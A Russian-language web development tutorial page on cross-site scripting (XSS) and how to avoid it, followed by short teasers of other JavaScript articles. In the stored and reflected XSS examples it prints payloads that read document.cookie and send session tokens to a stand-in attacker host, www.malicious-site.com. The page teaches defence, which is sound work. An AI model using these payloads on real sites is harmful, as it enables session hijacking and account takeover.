XSS-уязвимости и как их избежать
- 7 апреля 2023
Аббревиатура XSS расшифровывается как Cross-Site Scripting (межсайтовый скриптинг). Если особо не погружаться в детали, смысл атаки заключается во внедрении вредоносного кода в страницу. Атака не затрагивает серверную часть, но напрямую влияет на клиентскую — на пользователей уязвимого сервиса.
А какой код можно внедрить в страницу? У страницы же нет доступа к базе данных или другому серверному компоненту, где можно получить данные пользователей. Речь идёт о зловредном JavaScript-коде.
Вам хорошо известно: для выполнения JavaScript-кода на странице (в контексте фронтенда) необходимо разместить его между тегами <script></script>
. Про этот способ мы рассказывали в первой главе учебника. Атака XSS в этом и заключается. Злоумышленник внедряет в страницу зловредный JavaScript-код. Пользователь переходит на эту страницу, код выполняется и конфиденциальные данные пользователя отправляются злоумышленнику.
Схема работы XSS
На практике это может выглядеть так. Представьте персональный блог, в котором все зарегистрированные пользователи могут оставлять комментарии к публикациям.
Всё работает прекрасно, пока не появляется пользователь, который хочет не просто обсуждать публикации, а украсть доступ к учётным записям других пользователей блога. Для этого злоумышленник в поле комментарий пишет какой-то текст, тег <script>
, а в нём немного JavaScript-кода. Если не происходит никакой фильтрации, то после публикации такого комментария, код будет выполняться у всех пользователей, посетивших страницу.
А что опасного может быть в этом коде? Часто разработчики используют cookie для хранения идентификатора сессии пользователя. Что такое идентификатор? Это строка с уникальным набором символов, позволяющих отличить одного авторизованного пользователя от другого.
Зловредный код может прочитать это значение и передать на сервер злоумышленника при помощи AJAX-запроса. В этом и заключается смысл XSS-атаки. Собрав такие идентификаторы, злоумышленник может подставить их себе. Если разработчик не предусмотрел дополнительной защиты, то злоумышленник сможет войти в приложение под учётной записью пользователя.
Рассмотренный сценарий выше — один из самых популярных, но не единственный. При отсутствии фильтрации, можно выполнить любой JavaScript-код. Например, собрать все данные со страницы (при помощи банальных querySelector
) или сделать другие деструктивные действия.
XSS на примере
Попробуем взглянуть на проблему с практической точки зрения. Создадим демонстрационное приложение и на реальном примере узнаем, что подразумевается под XSS. В качестве демонстрационного приложения сделаем простую форму для ввода имени. Пользователь вводит имя, отправляет форму, и в параграфе появляется текст с приветствием пользователя. Приложение максимально простое, но оно прекрасно проиллюстрирует проблему:
<form id="basic-form">
<input id="user-name" type="text">
<input type="submit" value="Отправить" placeholder="Пожалуйста, представьтесь">
<p id="welcome-user"></p>
</form>
<script>
'use strict';
const submitFormHandler = (evt) => {
evt.preventDefault();
welcomeUserElement.innerHTML = `Привет, ${userNameElement.value}!`;
}
const formElement = document.querySelector(`#basic-form`);
const welcomeUserElement = formElement.querySelector(`#welcome-user`);
const userNameElement = formElement.querySelector(`#user-name`);
formElement.addEventListener(`submit`, submitFormHandler);
</script>
Попробуйте открыть страницу в браузере и протестировать приложение. Убедитесь, что всё работает так, как и было запланировано.

В качестве теста мы ввели имя «Igor», и оно отобразилось в параграфе. Приложение работает так, как мы и ожидаем. Теперь давайте вместо имени введём на первый взгляд безобидную строку:
<img src="" onerror="alert('xss')">
Нажмите кнопку «Отправить». На этот раз в параграфе #welcome-user
отобразится «Привет, !», но в довесок к этому вы увидите модальное окно с текстом «xss». Мы внедрили в страницу сторонний JavaScript-код. В примере он показывает бесполезное модальное окно, но вы понимаете, что он может делать намного больше. Выше мы обсуждали несколько негативных сценариев.

Рассмотрим ещё один пример и разберёмся, как выглядит внедрение XSS изнутри. Представим, что вы разрабатываете какой-нибудь форум любителей аквариумных рыбок. Пусть схематично его разметка выглядит так:
<h1>Здравствуйте, <span class="username">Обычный Пользователь</span>!</h1>
<article class="topic">
<header class="topic-header">
<h2>Разведение пираний в домашних условиях</h2>
</header>
<p class="topic-body">
Всем привет. Я решил завести себе пираний.
Расскажите, какие плюсы, минусы, подводные камни.</p>
<footer class="posted-by">
От <span class="poster-name">Другой Пользователь</span>
</footer>
</article>
Простая разметка — ничего необычного. Один из пользователей, который создал эту тему для обсуждения выбрал при регистрации необычное имя. Вот такое:
Другой пользователь</span><script>const username=document.querySelector('.username').textContent;const sessionCookie=document.cookie.match(/session-token=([^;$]+)/)[1];fetch('http:/www.malicious-site.com',{method: 'post',body:JSON.stringify({username,sessionCookie})});</script>
Что произойдёт, если другой участник обсуждения просмотрит эту тему? Разметка страницы начнёт выглядеть следующим образом (отформатировано для читабельности):
<h1>Здравствуйте, <span class="username">Обычный Пользователь</span>!</h1>
<article class="topic">
<header class="topic-header">
<h2>Разведение пираний в домашних условиях</h2>
</header>
<p class="topic-body">
Всем привет. Я решил завести себе пираний.
Расскажите, какие плюсы, минусы, подводные камни.</p>
<footer class="posted-by">
От <span class="poster-name">Другой Пользователь</span>
<script>
const username = document.querySelector(`.username`).textContent;
const sessionCookie = document.cookie.match(/session-token=([^;$]+)/)[1];
fetch(`http:/www.malicious-site.com`, {
method: `post`,
body: JSON.stringify({username, sessionCookie})
});
</script>
</footer>
</article>
Визуально на странице ничего не изменится. Всё то же безумное объявление, но это лишь на первый взгляд. Экзотичное имя пользователя (то самое с кодом) содержало закрывающий тег </span>
. Выходит, что на этом описание элемента с именем пользователя заканчивается. За ним следует тег <script>
c JavaScript кодом, который браузер вынужден исполнить.
Выполнение этого кода приведёт к отправке идентификатора сессии на сервер злоумышленника (www.malicious-site.com
). Получив идентификатор, злоумышленник сможет подставить его себе и войти в сервис от имени пользователя. Дальше можно изменить профиль (если сервис позволяет это сделать без ввода пароля) и сделать другие деструктивные действия.
Виды XSS
Существует два основных вида XSS-атак. Первый — хранимые XSS (Stored XSS). Его мы разобрали в предыдущем примере. Один пользователь вводит зловредные данные, которые сохраняются на сервере и оттуда попадают на страницу другого пользователя.

Другой вид — отражённые XSS (Reflected XSS). Атаки этого типа выглядят иначе. Допустим, на форуме любителей рыбок есть поиск по сообщениям. Маршрут на страницу с выдачей результатов может выглядеть так:
http://www.aquarium-forum.com/search?q=guppy
При переходе пользователь увидит страницу примерно с такой разметкой:
<div class="query">
Результаты поиска по запросу <span class="query-text">guppy</span>:
</div>
<div class="result">
<!-- результаты поиска -->
</div>
Ничего необычного в этой разметке нет, но представьте, что один из пользователей форума любителей рыбок получит на свой email провокационное письмо: «Шокирующая правда о гуппи! Рыбки не переносят… (продолжение по ссылке)». Пользователь на эмоциях переходит по ней (он видит, что она ведёт на его любимый форум) и видит вполне ожидаемую страницу с результатами поиска. Только без шокирующих новостей, но идентификатор его сессии уже улетел злоумышленнику. Ссылка в письме выглядела так:
http://www.aquarium-forum.com/search?q=guppy<script>fetch('http:/www.malicious-site.com?cookie='+document.cookie)</script>
После перехода по ссылке, разметка страницы преобразилась и обзавелась одной строкой кода на JavaScript. Визуально это незаметно, но браузер выполнит код, который не предполагал разработчик:
<div class="query">
Результаты поиска по запросу <span class="query-text">guppy
<script>
fetch('http:/www.malicious-site.com?cookie=' + document.cookie);
</script>
</span>:
</div>
<div class="result">
<!-- результаты поиска -->
</div>

Защита от XSS
Основная причина появления XSS заключается в недостаточной фильтрации входных данных. Мы это видели на двух примерах. Давайте подумаем, как бороться с этой проблемой. Начнём с простого: не стоит вставлять пользовательские данные в свойство innerHTML
.
Если пользователь пришлёт разметку с кодом на JavaScript, то браузер интерпретирует код и станут возможны сценарии, о которых говорили выше. Что же делать? Самый простой вариант: вместо innerHTML
применять innerText
. Тогда содержимое будет отображаться как простой текст.
Резюме
XSS атаки представляют серьёзную угрозу для веб-приложений. В этом разделе мы рассмотрели теорию и один из самых простых вариантов защиты. Конечно, это решение нельзя назвать серебряной пулей. К вопросам безопасности следует подходить комплексно: как на клиенте, так и на сервере. Запомните главное правило: любые данные, полученные от пользователя, по умолчанию нельзя считать безопасными.
Ещё по теме
«Доктайп» — журнал о фронтенде. Читайте, слушайте и учитесь с нами.
Читать дальше

Случайное число из диапазона
Допустим, вам зачем-то нужно целое случайное число от min
до max
. Вот сниппет, который поможет:
function getRandomInRange(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
- Math.random () генерирует случайное число между 0 и 1. Например, нам выпало число
0.54
. - (max — min + 1): определяет количество возможных значений в заданном диапазоне.
10 - 0 + 1 = 11
. Это значит, что у нас есть 11 возможных значений (0, 1, 2, ... 10). - Math.random () * (max — min + 1): умножает случайное число на количество возможных значений:
0.54 * 11 = 5.94
. - Math.floor (): округляет число вниз до ближайшего целого. Так,
Math.floor(5.94) = 5
. - ... + min: смещает диапазон так, чтобы минимальное значение соответствовало
min
. Но в нашем примере, так какmin = 0
, это не изменит результат. Пример:5 + 0 = 5
. - Итак, в нашем примере получилось случайное число 5 из диапазона от 0 до 10.
Чтобы протестировать, запустите:
console.log(getRandomInRange(1, 10)); // Тест
- 7 сентября 2023

В чём разница между var и let
Если вы недавно пишете на JavaScript, то наверняка задавались вопросом, чем отличаются var
и let
, и что выбрать в каждом случае. Объясняем.
var
и let
— это просто два способа объявить переменную. Вот так:
var x = 10;
let y = 20;
Переменная, объявленная через var
, доступна только внутри «своей» функции, или глобально, если она была объявлена вне функции.
function myFunction() {
var z = 30;
console.log(z); // 30
}
myFunction();
console.log(z); // ReferenceError
Это может создавать неожиданные ситуации. Допустим, вы создаёте цикл в функции и хотите, чтобы переменная i
осталась в этой функции. Если вы используете var
, эта переменная «утечёт» за пределы цикла и будет доступна во всей функции.
Переменные, объявленные с помощью let
доступны только в пределах блока кода, в котором они были объявлены.
if (true) {
let a = 40;
console.log(a); // 40
}
console.log(a); // ReferenceError
В JavaScript блок кода — это участок кода, заключённый в фигурные скобки {}
. Это может быть цикл, код в условном операторе или что-нибудь ещё.
if (true) {
let blockScoped = "Я виден только здесь";
console.log(blockScoped); // "Я виден только здесь"
}
// здесь переменная blockScoped недоступна
console.log(blockScoped); // ReferenceError
Если переменная j
объявлена в цикле с let
, она останется только в этом цикле, и попытка обратиться к ней за его пределами вызовет ошибку.
- 30 августа 2023

Быстрый гайд по if, else, else if в JavaScript
Допустим, вы собираетесь идти на прогулку. Если на улице солнечно, вы возьмёте с собой солнечные очки.
Это можно описать с помощью оператора if
.
let weather = "sunny";
if (weather === "sunny") {
console.log("Возьму солнечные очки");
}
А если погода не солнечная, а, скажем, дождливая, вы возьмете зонт.
Этот сценарий можно описать с помощью if-else
.
let weather = "rainy";
if (weather === "sunny") {
console.log("Возьму солнечные очки");
} else {
console.log("Возьму зонт");
}
Условный оператор if-else if-else
Теперь представим, что у вас есть несколько вариантов транспорта для дороги на работу: машина, велосипед, общественный транспорт. Выбор будет зависеть от различных условий, например, погоды и времени суток. Логично, что в дождь безопаснее ехать на автобусе, а в хорошую погоду можно прокатиться на машине или велосипеде, если утро и пробки. То есть схема такая:
И всё это очень легко описывается кодом:
let weather = "sunny";
let time = "morning";
if (weather === "rainy") { // если дождь, то только так
console.log("Еду на автобусе");
} else if (time === "morning") { // если не дождь и утро
console.log("Еду на велике мимо пробок");
} else { // если второе не дождь и не утро
console.log("Еду на машине");
}
Ветвление только может показаться сложным, но вообще оно очень логичное, если понять, какие действия после каких условий выполняются. Разберитесь один раз и поймёте на всю жизнь, 100%.
🐈
- 30 августа 2023

Как исправить ошибки SyntaxError в JavaScript
Ошибки SyntaxError появляются, если разработчик нарушил правила синтаксиса JavaScript, например, пропустил закрывающую скобку или точку с запятой. Давайте посмотрим, что означает каждая ошибка и в чём может быть проблема.
- 14 июля 2023

Ошибка TypeError: что это и как её исправить
Ошибки TypeError появляются, когда разработчики пытаются выполнить операцию с неправильным типом данных. Давайте разберём несколько примеров: почему появилась ошибка и как её исправить.
- 7 июля 2023

3 способа объявить функцию в JavaScript
Функции в JavaScript можно объявить тремя способами: через декларативное объявление, функциональное выражение или с помощью стрелок. Звучит сложно, но на самом деле всё совсем не так.
- 30 июня 2023

Как сделать простой слайдер на HTML и JavaScript
Вы сверстали сайт и сделали его красивым с помощью CSS. Осталось добавить интерактива, и можно добавлять проект в портфолио.
«Оживить» на сайте можно что угодно: меню, модальные окна, корзину, пагинацию… В этой статье мы разберём слайдер — посмотрим, как его сделать на чистом JavaScript. Слайдер пригодится для раздела с отзывами, фотографиями сотрудников, изображениями товаров или чего-нибудь ещё — всё зависит только от вашей фантазии и проекта.
☝ Мы покажем лишь один из возможных вариантов. Это не эталонное решение, да в разработке и не бывает единственно верного способа решить задачу. Но код точно работает, поэтому можете скопировать его в свой проект.
- 20 июня 2023

Полезные команды для работы с Node.js
Перед тем как рассматривать полезные команды при работе с Node.js, её необходимо установить.
Команды помогают узнать версию Node.js,
node -h
— показывает список всех доступных команд Node.js.
node -v
, node --version
— показывает установленную версию Node.js.
npm -h
— показывает список всех доступных команд пакетного менеджера npm
.
npm -v
, npm --version
— показывает установленную версию npm
.
Команда npm update npm -g
позволяет обновить версию npm
.
npm list --depth=0
показывает список установленных пакетов.
Команда npm outdated --depth=0
покажет список установленных пакетов, которые требуют обновления. Если все пакеты обновлены, список будет пустым.
npm install package
— позволяет установить любой пакет по его имени. Если при этом к команде добавить префикс -g
пакет будет установлен глобально на весь компьютер.
Команда npm i package
является укороченной альтернативой предыдущей команды.
Если вы хотите установить конкретную версию пакета, воспользуйтесь префиксом @
с номером версии. Например, npm install package@1.0.1
.
npm uninstall package
— удаляет установленный пакет по имени.
Команда npm list package
— покажет версию установленного пакета, а команда npm view package version
— последнюю версию пакета, которая существует.
Для работы с пакетным менеджером также пригодится файл package.json
, который должен лежать в директории, с которой происходит работа в консоли.
Он содержит различные мета-данные, например, имя проекта, версия, описания и автор. Также он содержит список зависимостей, которые будут установлены, если вызвать из этой папки команду npm install
.
Кроме этого он ещё имеет скрипты, которые вызывают другие команды консоли. Например, для этого файла вызов команды npm start
вызовет запуск задачи Grunt с именем dev
. А команда npm run build
вызовет скрипт build
, который запустит задачу в Grunt с именем build
.
Во время работы часто возникает необходимость установить некоторые пакеты. Если установить пакет с префиксом --save
, то он автоматически запишется в package.json
в раздел dependencies
. Такая же команда с префиксом --save-dev
запишет пакет в раздел devDependencies
.
Что такое nvm
nvm (илиNode Version Manager) — утилита, которая позволяет быстро менять версии Node.js.
Чтобы её установить, достаточно запустить скрипт
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.31.0/install.sh | bash
Теперь можно установить последнюю версию Node.js, например,5.0
с помощью команды nvm install 5.0
. Чтобы начать использовать её, введите команду nvm use 5.0
. Таким образом, можно быстро переключаться между версиями, например, для тестирования.
- 8 июня 2023

Как составлять регулярные выражения
Регулярное выражение — это последовательность символов (селекторов). Оно используется для поиска и обработки строк, слов, чисел и других текстовых данных.
Регулярные выражения выручают при решении разных задач. Например, с их помощью легко искать и менять строки в коде. Но чаще всего регулярные выражения используют для валидации форм. Давайте посмотрим, как это делать.
- 5 июня 2023

Проверка типа интерфейса в TypeScript
Проверка типов интерфейса — одна из ключевых возможностей TypeScript. Она помогает убедиться, что объект или класс содержат необходимый набор свойств и методов, указанных в интерфейсе. Благодаря проверке типов вы можете писать более надёжный код, ведь часть ошибок будет найдена ещё на этапе компиляции.
- 30 мая 2023